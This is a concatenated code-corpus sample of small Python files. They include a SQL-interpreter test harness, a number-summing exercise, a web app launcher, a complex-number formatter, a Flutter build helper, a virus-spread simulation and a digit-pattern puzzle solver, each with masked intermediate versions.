test.test_select_distinct() test.tearDown() <|reserved_special_token_1|> import os from sql_interpreter.tables.csv_table import CsvTable from sql_interpreter.interpreter import SqlInterpreter from sql_interpreter.cli import Cli class InterpreterTest(): def setUp(self): self.interpreter = SqlInterpreter() self.cli = Cli(self.interpreter) filename = os.path.join( os.path.dirname(__file__), 'resources/employees.csv') self.interpreter.load(CsvTable('employees', filename)) filename = os.path.join( os.path.dirname(__file__), 'resources/departments.csv') self.interpreter.load(CsvTable('departments', filename)) def tearDown(self): self.interpreter.unload_all() def test_select_1(self): sql = '''select id, first_name || ' ' || last_name as full_name, salary - 1000 from employees;''' self.cli.execute(sql) self.cli.print_new_line() def test_select_2(self): sql = '''select e.id, last_name, department_id, departments.id, name from employees e, departments;''' self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = '''select * from employees;''' self.interpreter.interpret(code) self.cli.print_new_line() def test_select_distinct(self): sql = '''select distinct departments.id as dep_id, employees.salary as sal from employees, departments order by dep_id, sal desc;''' self.cli.execute(sql) self.cli.print_new_line() if __name__ == '__main__': test = InterpreterTest() test.setUp() test.test_select_1() test.test_select_2() test.test_select_distinct() test.tearDown()

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{ "blob_id": "b3ee76bc0d93135d0908044a2424dd927a390007", "index": 6357, "step-1": "<mask token>\n\n\nclass InterpreterTest:\n <mask token>\n\n def tearDown(self):\n self.interpreter.unload_all()\n <mask token>\n\n def test_select_2(self):\n sql = \"\"\"select\n e.id, last_name, department_id, departments.id, name\n from employees e, departments;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_all(self):\n code = 'select * from employees;'\n self.interpreter.interpret(code)\n self.cli.print_new_line()\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass InterpreterTest:\n <mask token>\n\n def tearDown(self):\n self.interpreter.unload_all()\n <mask token>\n\n def test_select_2(self):\n sql = \"\"\"select\n e.id, last_name, department_id, departments.id, name\n from employees e, departments;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_all(self):\n code = 'select * from employees;'\n self.interpreter.interpret(code)\n self.cli.print_new_line()\n\n def test_select_distinct(self):\n sql = \"\"\"select distinct\n departments.id as dep_id, employees.salary as sal\n from employees, departments\n order by dep_id, sal desc;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass InterpreterTest:\n\n def setUp(self):\n self.interpreter = SqlInterpreter()\n self.cli = Cli(self.interpreter)\n filename = os.path.join(os.path.dirname(__file__),\n 'resources/employees.csv')\n self.interpreter.load(CsvTable('employees', filename))\n filename = os.path.join(os.path.dirname(__file__),\n 'resources/departments.csv')\n self.interpreter.load(CsvTable('departments', filename))\n\n def tearDown(self):\n self.interpreter.unload_all()\n\n def test_select_1(self):\n sql = \"\"\"select\n id, first_name || ' ' || last_name as full_name, salary - 1000\n from employees;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_2(self):\n sql = \"\"\"select\n e.id, last_name, department_id, departments.id, name\n from employees e, departments;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_all(self):\n code = 'select * from employees;'\n self.interpreter.interpret(code)\n self.cli.print_new_line()\n\n def test_select_distinct(self):\n sql = \"\"\"select distinct\n departments.id as dep_id, employees.salary as sal\n from employees, departments\n order by dep_id, sal desc;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n\nif __name__ == '__main__':\n test = InterpreterTest()\n test.setUp()\n test.test_select_1()\n test.test_select_2()\n test.test_select_distinct()\n test.tearDown()\n", "step-4": "import os\nfrom sql_interpreter.tables.csv_table import CsvTable\nfrom sql_interpreter.interpreter import SqlInterpreter\nfrom sql_interpreter.cli import Cli\n\n\nclass InterpreterTest:\n\n def setUp(self):\n self.interpreter = SqlInterpreter()\n self.cli = Cli(self.interpreter)\n filename = os.path.join(os.path.dirname(__file__),\n 'resources/employees.csv')\n self.interpreter.load(CsvTable('employees', filename))\n filename = os.path.join(os.path.dirname(__file__),\n 'resources/departments.csv')\n self.interpreter.load(CsvTable('departments', filename))\n\n def tearDown(self):\n self.interpreter.unload_all()\n\n def test_select_1(self):\n sql = \"\"\"select\n id, first_name || ' ' || last_name as full_name, salary - 1000\n from employees;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_2(self):\n sql = \"\"\"select\n e.id, last_name, department_id, departments.id, name\n from employees e, departments;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_all(self):\n code = 'select * from employees;'\n self.interpreter.interpret(code)\n self.cli.print_new_line()\n\n def test_select_distinct(self):\n sql = \"\"\"select distinct\n departments.id as dep_id, employees.salary as sal\n from employees, departments\n order by dep_id, sal desc;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n\nif __name__ == '__main__':\n test = InterpreterTest()\n test.setUp()\n test.test_select_1()\n test.test_select_2()\n test.test_select_distinct()\n test.tearDown()\n", "step-5": "import os\r\nfrom sql_interpreter.tables.csv_table import CsvTable\r\nfrom sql_interpreter.interpreter import SqlInterpreter\r\nfrom sql_interpreter.cli import Cli\r\n\r\n\r\nclass InterpreterTest():\r\n def setUp(self):\r\n self.interpreter = SqlInterpreter()\r\n self.cli = Cli(self.interpreter)\r\n filename = os.path.join(\r\n os.path.dirname(__file__), 'resources/employees.csv')\r\n self.interpreter.load(CsvTable('employees', filename))\r\n filename = os.path.join(\r\n os.path.dirname(__file__), 'resources/departments.csv')\r\n self.interpreter.load(CsvTable('departments', filename))\r\n\r\n def tearDown(self):\r\n self.interpreter.unload_all()\r\n\r\n def test_select_1(self):\r\n sql = '''select\r\n id, first_name || ' ' || last_name as full_name, salary - 1000\r\n from employees;'''\r\n self.cli.execute(sql)\r\n self.cli.print_new_line()\r\n\r\n def test_select_2(self):\r\n sql = '''select\r\n e.id, last_name, department_id, departments.id, name\r\n from employees e, departments;'''\r\n self.cli.execute(sql)\r\n self.cli.print_new_line()\r\n\r\n def test_select_all(self):\r\n code = '''select * from employees;'''\r\n self.interpreter.interpret(code)\r\n self.cli.print_new_line()\r\n\r\n def test_select_distinct(self):\r\n sql = '''select distinct\r\n departments.id as dep_id, employees.salary as sal\r\n from employees, departments\r\n order by dep_id, sal desc;'''\r\n self.cli.execute(sql)\r\n self.cli.print_new_line()\r\n\r\n\r\nif __name__ == '__main__':\r\n test = InterpreterTest()\r\n test.setUp()\r\n test.test_select_1()\r\n test.test_select_2()\r\n test.test_select_distinct()\r\n test.tearDown()\r\n", "step-ids": [ 4, 5, 8, 9, 10 ] }

[ 4, 5, 8, 9, 10 ]

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{ "blob_id": "49ffa225d433ef2263159ba2145da5ba2a95d1f2", "index": 4664, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor x in range(11, m):\n S = S + x\nprint('sum =', S)\n", "step-3": "m = int(input('请输入一个数：'))\nS = m\nfor x in range(11, m):\n S = S + x\nprint('sum =', S)\n", "step-4": "#求11+12+13+。。。+m\nm = int(input('请输入一个数：'))\nS = m\nfor x in range(11,m):\n S = S+x\nprint('sum =',S)", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

import os os.environ['CITY_CONF'] = '/opt/ris-web/city/duisburg.py' from webapp import app app.run(debug=True, host='0.0.0.0')

normal

{ "blob_id": "4276fd61ad48b325961cd45be68eea6eab51f916", "index": 6085, "step-1": "<mask token>\n", "step-2": "<mask token>\napp.run(debug=True, host='0.0.0.0')\n", "step-3": "<mask token>\nos.environ['CITY_CONF'] = '/opt/ris-web/city/duisburg.py'\n<mask token>\napp.run(debug=True, host='0.0.0.0')\n", "step-4": "import os\nos.environ['CITY_CONF'] = '/opt/ris-web/city/duisburg.py'\nfrom webapp import app\napp.run(debug=True, host='0.0.0.0')\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class ComplexCustom(complex): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class ComplexCustom(complex): <|reserved_special_token_0|> def __format__(self, fmt): """This function creates a custom made format for printing complex numbers""" cfmt = '({:' + fmt + '}{:+' + fmt + '}j)' return cfmt.format(self.real, self.imag) <|reserved_special_token_1|> <|reserved_special_token_0|> class ComplexCustom(complex): """ This class contains function for a custom made printing format for complex numbers """ def __format__(self, fmt): """This function creates a custom made format for printing complex numbers""" cfmt = '({:' + fmt + '}{:+' + fmt + '}j)' return cfmt.format(self.real, self.imag) <|reserved_special_token_1|> '''This class contains a custom made format for printing complex numbers''' class ComplexCustom(complex): ''' This class contains function for a custom made printing format for complex numbers ''' def __format__(self, fmt): '''This function creates a custom made format for printing complex numbers''' cfmt = "({:" + fmt + "}{:+" + fmt + "}j)" return cfmt.format(self.real, self.imag)

flexible

{ "blob_id": "c62647b0b226d97926d1f53975a7aac7c39949d8", "index": 7959, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass ComplexCustom(complex):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass ComplexCustom(complex):\n <mask token>\n\n def __format__(self, fmt):\n \"\"\"This function creates a custom made format for printing complex numbers\"\"\"\n cfmt = '({:' + fmt + '}{:+' + fmt + '}j)'\n return cfmt.format(self.real, self.imag)\n", "step-4": "<mask token>\n\n\nclass ComplexCustom(complex):\n \"\"\"\n This class contains function for\n a custom made printing format for complex numbers\n \"\"\"\n\n def __format__(self, fmt):\n \"\"\"This function creates a custom made format for printing complex numbers\"\"\"\n cfmt = '({:' + fmt + '}{:+' + fmt + '}j)'\n return cfmt.format(self.real, self.imag)\n", "step-5": "'''This class contains a custom made format for printing complex numbers'''\nclass ComplexCustom(complex):\n '''\n This class contains function for\n a custom made printing format for complex numbers\n '''\n def __format__(self, fmt):\n '''This function creates a custom made format for printing complex numbers'''\n cfmt = \"({:\" + fmt + \"}{:+\" + fmt + \"}j)\"\n return cfmt.format(self.real, self.imag)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def main(): parser = argparse.ArgumentParser(description= 'Create the symbol specifying the location of test fixtures.') parser.add_argument('--fixtures_location_file', type=str, required=True) parser.add_argument('--fixtures_location', type=str, required=True) args = parser.parse_args() with open(args.fixtures_location_file, 'w') as file: file.write( 'namespace flutter {namespace testing {const char* GetFixturesPath() {return "%s";}}}' % args.fixtures_location) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def main(): parser = argparse.ArgumentParser(description= 'Create the symbol specifying the location of test fixtures.') parser.add_argument('--fixtures_location_file', type=str, required=True) parser.add_argument('--fixtures_location', type=str, required=True) args = parser.parse_args() with open(args.fixtures_location_file, 'w') as file: file.write( 'namespace flutter {namespace testing {const char* GetFixturesPath() {return "%s";}}}' % args.fixtures_location) if __name__ == '__main__': sys.exit(main()) <|reserved_special_token_1|> import argparse import subprocess import sys import os def main(): parser = argparse.ArgumentParser(description= 'Create the symbol specifying the location of test fixtures.') parser.add_argument('--fixtures_location_file', type=str, required=True) parser.add_argument('--fixtures_location', type=str, required=True) args = parser.parse_args() with open(args.fixtures_location_file, 'w') as file: file.write( 'namespace flutter {namespace testing {const char* GetFixturesPath() {return "%s";}}}' % args.fixtures_location) if __name__ == '__main__': sys.exit(main()) <|reserved_special_token_1|> #!/usr/bin/env python # Copyright 2013 The Flutter Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import subprocess import sys import os def main(): parser = argparse.ArgumentParser( description='Create the symbol specifying the location of test fixtures.') parser.add_argument('--fixtures_location_file', type=str, required=True) parser.add_argument('--fixtures_location', type=str, required=True) args = parser.parse_args() with open(args.fixtures_location_file, 'w') as file: file.write('namespace flutter {namespace testing {const char* GetFixturesPath() {return "%s";}}}' % args.fixtures_location) if __name__ == '__main__': sys.exit(main())

flexible

{ "blob_id": "d5c6582547df540ffc9c73d10a3405ec97487bba", "index": 4513, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\n 'Create the symbol specifying the location of test fixtures.')\n parser.add_argument('--fixtures_location_file', type=str, required=True)\n parser.add_argument('--fixtures_location', type=str, required=True)\n args = parser.parse_args()\n with open(args.fixtures_location_file, 'w') as file:\n file.write(\n 'namespace flutter {namespace testing {const char* GetFixturesPath() {return \"%s\";}}}'\n % args.fixtures_location)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\n 'Create the symbol specifying the location of test fixtures.')\n parser.add_argument('--fixtures_location_file', type=str, required=True)\n parser.add_argument('--fixtures_location', type=str, required=True)\n args = parser.parse_args()\n with open(args.fixtures_location_file, 'w') as file:\n file.write(\n 'namespace flutter {namespace testing {const char* GetFixturesPath() {return \"%s\";}}}'\n % args.fixtures_location)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-4": "import argparse\nimport subprocess\nimport sys\nimport os\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\n 'Create the symbol specifying the location of test fixtures.')\n parser.add_argument('--fixtures_location_file', type=str, required=True)\n parser.add_argument('--fixtures_location', type=str, required=True)\n args = parser.parse_args()\n with open(args.fixtures_location_file, 'w') as file:\n file.write(\n 'namespace flutter {namespace testing {const char* GetFixturesPath() {return \"%s\";}}}'\n % args.fixtures_location)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-5": "#!/usr/bin/env python\n# Copyright 2013 The Flutter Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport argparse\nimport subprocess\nimport sys\nimport os\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Create the symbol specifying the location of test fixtures.')\n\n parser.add_argument('--fixtures_location_file', type=str, required=True)\n parser.add_argument('--fixtures_location', type=str, required=True)\n\n args = parser.parse_args()\n\n with open(args.fixtures_location_file, 'w') as file:\n file.write('namespace flutter {namespace testing {const char* GetFixturesPath() {return \"%s\";}}}'\n % args.fixtures_location)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

from mtots.parser import base from mtots.parser import combinator from mtots.parser.combinator import All from mtots.parser.combinator import Any from mtots.parser.combinator import AnyTokenBut from mtots.parser.combinator import Forward from mtots.parser.combinator import Peek from mtots.parser.combinator import Required from mtots.parser.combinator import Token

normal

{ "blob_id": "f9edbef46494cc2993c6a633fe35406524dbbf67", "index": 1199, "step-1": "<mask token>\n", "step-2": "from mtots.parser import base\nfrom mtots.parser import combinator\nfrom mtots.parser.combinator import All\nfrom mtots.parser.combinator import Any\nfrom mtots.parser.combinator import AnyTokenBut\nfrom mtots.parser.combinator import Forward\nfrom mtots.parser.combinator import Peek\nfrom mtots.parser.combinator import Required\nfrom mtots.parser.combinator import Token\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }

[ 0, 1 ]

class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age <|reserved_special_token_0|> def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age <|reserved_special_token_0|> def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 def __str__(self): return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name, str(self.age), str(self.malignancy)) <|reserved_special_token_0|> <|reserved_special_token_1|> class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age def set_malignancy(self, _malignancy): self.malignancy = _malignancy def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 def __str__(self): return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name, str(self.age), str(self.malignancy)) <|reserved_special_token_0|> <|reserved_special_token_1|> class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age def set_malignancy(self, _malignancy): self.malignancy = _malignancy def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 def __str__(self): return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name, str(self.age), str(self.malignancy)) if __name__ == '__main__': tmp = input().split() number_of_virus = int(tmp[0]) number_of_day = int(tmp[1]) viruses = [] for index_of_virus in range(0, number_of_virus): tmp = input().split() virus_name = tmp[0] virus_age = int(tmp[1]) virus_malignancy = int(tmp[2]) tmp_virus = Virus(virus_name, virus_age, virus_malignancy) viruses.append(tmp_virus) for day in range(1, number_of_day + 1): print('Hari #{}'.format(str(day))) for index_of_virus in range(0, len(viruses)): viruses[index_of_virus].update() print(viruses[index_of_virus]) <|reserved_special_token_1|> class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age def set_malignancy(self, _malignancy): self.malignancy = _malignancy def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 def __str__(self): return "Nama: {}; Usia: {}; Tingkat Keganasan: {}".format(self.name, str(self.age), str(self.malignancy)) if __name__ == "__main__": tmp = input().split() number_of_virus = int(tmp[0]) number_of_day = int(tmp[1]) viruses = [] for index_of_virus in range(0, number_of_virus): tmp = input().split() virus_name = tmp[0] virus_age = int(tmp[1]) virus_malignancy = int(tmp[2]) tmp_virus = Virus(virus_name, virus_age, virus_malignancy) viruses.append(tmp_virus) for day in range(1, number_of_day + 1): print("Hari #{}".format(str(day))) for index_of_virus in range(0, len(viruses)): viruses[index_of_virus].update() print(viruses[index_of_virus])

flexible

{ "blob_id": "49c3c3b8c4b097f520456736e31ac306a9f73ac7", "index": 3544, "step-1": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def set_age(self, _age):\n self.age = _age\n <mask token>\n\n def update(self):\n self.age += 1\n if self.age % 3 == 0:\n self.malignancy += 1\n if self.malignancy < 0:\n self.malignancy = 0\n if self.malignancy > 99:\n self.malignancy = 99\n <mask token>\n\n\n<mask token>\n", "step-2": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def set_age(self, _age):\n self.age = _age\n <mask token>\n\n def update(self):\n self.age += 1\n if self.age % 3 == 0:\n self.malignancy += 1\n if self.malignancy < 0:\n self.malignancy = 0\n if self.malignancy > 99:\n self.malignancy = 99\n\n def __str__(self):\n return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name,\n str(self.age), str(self.malignancy))\n\n\n<mask token>\n", "step-3": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def set_age(self, _age):\n self.age = _age\n\n def set_malignancy(self, _malignancy):\n self.malignancy = _malignancy\n\n def update(self):\n self.age += 1\n if self.age % 3 == 0:\n self.malignancy += 1\n if self.malignancy < 0:\n self.malignancy = 0\n if self.malignancy > 99:\n self.malignancy = 99\n\n def __str__(self):\n return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name,\n str(self.age), str(self.malignancy))\n\n\n<mask token>\n", "step-4": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def set_age(self, _age):\n self.age = _age\n\n def set_malignancy(self, _malignancy):\n self.malignancy = _malignancy\n\n def update(self):\n self.age += 1\n if self.age % 3 == 0:\n self.malignancy += 1\n if self.malignancy < 0:\n self.malignancy = 0\n if self.malignancy > 99:\n self.malignancy = 99\n\n def __str__(self):\n return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name,\n str(self.age), str(self.malignancy))\n\n\nif __name__ == '__main__':\n tmp = input().split()\n number_of_virus = int(tmp[0])\n number_of_day = int(tmp[1])\n viruses = []\n for index_of_virus in range(0, number_of_virus):\n tmp = input().split()\n virus_name = tmp[0]\n virus_age = int(tmp[1])\n virus_malignancy = int(tmp[2])\n tmp_virus = Virus(virus_name, virus_age, virus_malignancy)\n viruses.append(tmp_virus)\n for day in range(1, number_of_day + 1):\n print('Hari #{}'.format(str(day)))\n for index_of_virus in range(0, len(viruses)):\n viruses[index_of_virus].update()\n print(viruses[index_of_virus])\n", "step-5": "\nclass Virus:\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n \n def set_age(self, _age):\n self.age = _age\n\n def set_malignancy(self, _malignancy):\n self.malignancy = _malignancy\n\n def update(self):\n self.age += 1\n\n if self.age % 3 == 0:\n self.malignancy += 1\n\n if self.malignancy < 0:\n self.malignancy = 0\n\n if self.malignancy > 99:\n self.malignancy = 99\n \n def __str__(self):\n return \"Nama: {}; Usia: {}; Tingkat Keganasan: {}\".format(self.name, str(self.age), str(self.malignancy))\n\nif __name__ == \"__main__\":\n tmp = input().split()\n number_of_virus = int(tmp[0])\n number_of_day = int(tmp[1])\n\n viruses = []\n for index_of_virus in range(0, number_of_virus):\n tmp = input().split()\n virus_name = tmp[0]\n virus_age = int(tmp[1])\n virus_malignancy = int(tmp[2])\n\n tmp_virus = Virus(virus_name, virus_age, virus_malignancy)\n\n viruses.append(tmp_virus)\n\n for day in range(1, number_of_day + 1):\n print(\"Hari #{}\".format(str(day)))\n\n for index_of_virus in range(0, len(viruses)):\n viruses[index_of_virus].update()\n \n print(viruses[index_of_virus])\n", "step-ids": [ 5, 6, 7, 8, 9 ] }

[ 5, 6, 7, 8, 9 ]

def part_1() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total <|reserved_special_token_0|> def check_number_2(problem_input: str) ->bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input [previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input [current]) while current < length - 1 and int(problem_input[current] ) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double <|reserved_special_token_0|> def main(): x = '111111' print(check_number(x) is True) x = '223450' print(check_number(x) is False) x = '123789' print(check_number(x) is False) print('PART 1:', part_1()) x = '112233' print(check_number_2(x) is True) x = '123444' print(check_number_2(x) is False) x = '111122' print(check_number_2(x) is True) x = '112222' print(check_number_2(x) is True) x = '1112589' print(check_number_2(x) is False) print('PART 2:', part_2()) <|reserved_special_token_0|> <|reserved_special_token_1|> def part_1() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total <|reserved_special_token_0|> def check_number_2(problem_input: str) ->bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input [previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input [current]) while current < length - 1 and int(problem_input[current] ) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double def part_2() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number_2(str(number)): total += 1 return total def main(): x = '111111' print(check_number(x) is True) x = '223450' print(check_number(x) is False) x = '123789' print(check_number(x) is False) print('PART 1:', part_1()) x = '112233' print(check_number_2(x) is True) x = '123444' print(check_number_2(x) is False) x = '111122' print(check_number_2(x) is True) x = '112222' print(check_number_2(x) is True) x = '1112589' print(check_number_2(x) is False) print('PART 2:', part_2()) <|reserved_special_token_0|> <|reserved_special_token_1|> def part_1() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total def check_number(problem_input: str) ->bool: previous = 0 double = False for current in range(1, len(problem_input)): if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[previous]) == int(problem_input[current]): double = True previous += 1 return double def check_number_2(problem_input: str) ->bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input [previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input [current]) while current < length - 1 and int(problem_input[current] ) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double def part_2() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number_2(str(number)): total += 1 return total def main(): x = '111111' print(check_number(x) is True) x = '223450' print(check_number(x) is False) x = '123789' print(check_number(x) is False) print('PART 1:', part_1()) x = '112233' print(check_number_2(x) is True) x = '123444' print(check_number_2(x) is False) x = '111122' print(check_number_2(x) is True) x = '112222' print(check_number_2(x) is True) x = '1112589' print(check_number_2(x) is False) print('PART 2:', part_2()) <|reserved_special_token_0|> <|reserved_special_token_1|> def part_1() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total def check_number(problem_input: str) ->bool: previous = 0 double = False for current in range(1, len(problem_input)): if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[previous]) == int(problem_input[current]): double = True previous += 1 return double def check_number_2(problem_input: str) ->bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input [previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input [current]) while current < length - 1 and int(problem_input[current] ) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double def part_2() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number_2(str(number)): total += 1 return total def main(): x = '111111' print(check_number(x) is True) x = '223450' print(check_number(x) is False) x = '123789' print(check_number(x) is False) print('PART 1:', part_1()) x = '112233' print(check_number_2(x) is True) x = '123444' print(check_number_2(x) is False) x = '111122' print(check_number_2(x) is True) x = '112222' print(check_number_2(x) is True) x = '1112589' print(check_number_2(x) is False) print('PART 2:', part_2()) if __name__ == '__main__': main() <|reserved_special_token_1|> def part_1() -> int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total def check_number(problem_input: str) -> bool: previous = 0 double = False for current in range(1, len(problem_input)): if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[previous]) == int(problem_input[current]): double = True previous += 1 return double def check_number_2(problem_input: str) -> bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input[previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input[current]) while current < length - 1 and int(problem_input[current]) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double def part_2() -> int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number_2(str(number)): total += 1 return total def main(): x = "111111" print(check_number(x) is True) x = "223450" print(check_number(x) is False) x = "123789" print(check_number(x) is False) print("PART 1:", part_1()) # should be 460 x = "112233" print(check_number_2(x) is True) x = "123444" print(check_number_2(x) is False) x = "111122" print(check_number_2(x) is True) x = "112222" print(check_number_2(x) is True) x = "1112589" print(check_number_2(x) is False) print("PART 2:", part_2()) if __name__ == '__main__': main()

flexible

